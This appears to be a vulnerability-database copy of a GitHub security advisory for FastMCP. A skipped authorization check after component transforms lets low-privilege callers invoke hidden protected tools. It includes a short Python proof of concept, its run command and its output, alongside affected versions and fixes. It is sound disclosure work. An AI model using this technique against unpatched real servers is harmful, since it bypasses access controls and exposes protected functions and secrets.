GHSA-7XGJ-8392-5Q4R
Vulnerability from github – Published: 2026-10-23 21:32 – Updated: 2026-10-23 21:32Maintainer assessment and remediation
This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.
The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.
Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both fastmcp and fastmcp-slim installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.
Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.
Original report
Post-transform component authorization is skipped on direct calls
Summary
FastMCP's direct component paths can return a transformed component before its applicable AuthCheck, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit e2fcc412001ff7414095c5dc282f94c70299a612 using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.
Details
Attacker prerequisites
A server uses a supported provider, server, or session transform and a metadata-aware component AuthCheck. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.
Root cause
Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See server.py:933-940. The MCP tools/call handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.
Proof of concept
Save this as poc_transform_auth.py:
import anyio
from fastmcp import FastMCP
from fastmcp.server.auth import restrict_tag
from fastmcp.server.transforms.tool_transform import ToolTransform
from fastmcp.tools.base import Tool
from fastmcp.tools.tool_transform import ToolTransformConfig
async def main() -> None:
server = FastMCP("auth-boundary")
server.add_tool(
Tool.from_function(
lambda: "PROTECTED SECRET",
name="tagged_tool",
tags={"public"},
auth=restrict_tag("admin", scopes=["admin"]),
)
)
server.add_transform(
ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})})
)
print("listed:", [tool.name for tool in await server.list_tools()])
try:
result = await server.call_tool("tagged_tool")
except Exception as exc:
print("BLOCKED:", type(exc).__name__)
else:
print("VULNERABLE: direct call returned", result.content[0].text)
anyio.run(main)
Run it in an isolated environment:
uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py
Observed on 4.1.0 for a caller without the admin scope:
listed: []
VULNERABLE: direct call returned PROTECTED SECRET
Impact
A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.
Recommended remediation
Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable AuthCheck runs.
AI assistance
Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "fastmcp"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "fastmcp"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "fastmcp-slim"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.4.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "fastmcp-slim"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T21:32:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Maintainer assessment and remediation\n\nThis report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component\u0027s authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies.\n\nThe fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported.\n\nAffected stable release lines: FastMCP 3.0.0\u20133.4.9 and 4.0.0\u20134.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates.\n\nFixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform.\n\n## Original report\n\n# Post-transform component authorization is skipped on direct calls\n\n## Summary\n\nFastMCP\u0027s direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration.\n\n## Details\n\n### Attacker prerequisites\n\nA server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy.\n\n### Root cause\n\nListing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts.\n\n## Proof of concept\n\nSave this as `poc_transform_auth.py`:\n\n```python\nimport anyio\n\nfrom fastmcp import FastMCP\nfrom fastmcp.server.auth import restrict_tag\nfrom fastmcp.server.transforms.tool_transform import ToolTransform\nfrom fastmcp.tools.base import Tool\nfrom fastmcp.tools.tool_transform import ToolTransformConfig\n\n\nasync def main() -\u003e None:\n server = FastMCP(\"auth-boundary\")\n server.add_tool(\n Tool.from_function(\n lambda: \"PROTECTED SECRET\",\n name=\"tagged_tool\",\n tags={\"public\"},\n auth=restrict_tag(\"admin\", scopes=[\"admin\"]),\n )\n )\n server.add_transform(\n ToolTransform({\"tagged_tool\": ToolTransformConfig(tags={\"admin\"})})\n )\n\n print(\"listed:\", [tool.name for tool in await server.list_tools()])\n try:\n result = await server.call_tool(\"tagged_tool\")\n except Exception as exc:\n print(\"BLOCKED:\", type(exc).__name__)\n else:\n print(\"VULNERABLE: direct call returned\", result.content[0].text)\n\n\nanyio.run(main)\n```\n\nRun it in an isolated environment:\n\n```bash\nuv run --with fastmcp==4.1.0 -- python poc_transform_auth.py\n```\n\nObserved on 4.1.0 for a caller without the `admin` scope:\n\n```text\nlisted: []\nVULNERABLE: direct call returned PROTECTED SECRET\n```\n\n## Impact\n\nA low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts.\n\n### Recommended remediation\n\nApply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs.\n\n## AI assistance\n\nYes \u2014 OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version.",
"id": "GHSA-7xgj-8392-5q4r",
"modified": "2026-10-23T21:32:07Z",
"published": "2026-10-23T21:32:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-7xgj-8392-5q4r"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/pull/5933"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/pull/5934"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/commit/8649ba5fc91a68568a69729497edeb804a064332"
},
{
"type": "PACKAGE",
"url": "https://github.com/PrefectHQ/fastmcp"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.4.10"
},
{
"type": "WEB",
"url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "FastMCP: Post-transform component authorization is skipped on direct calls"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.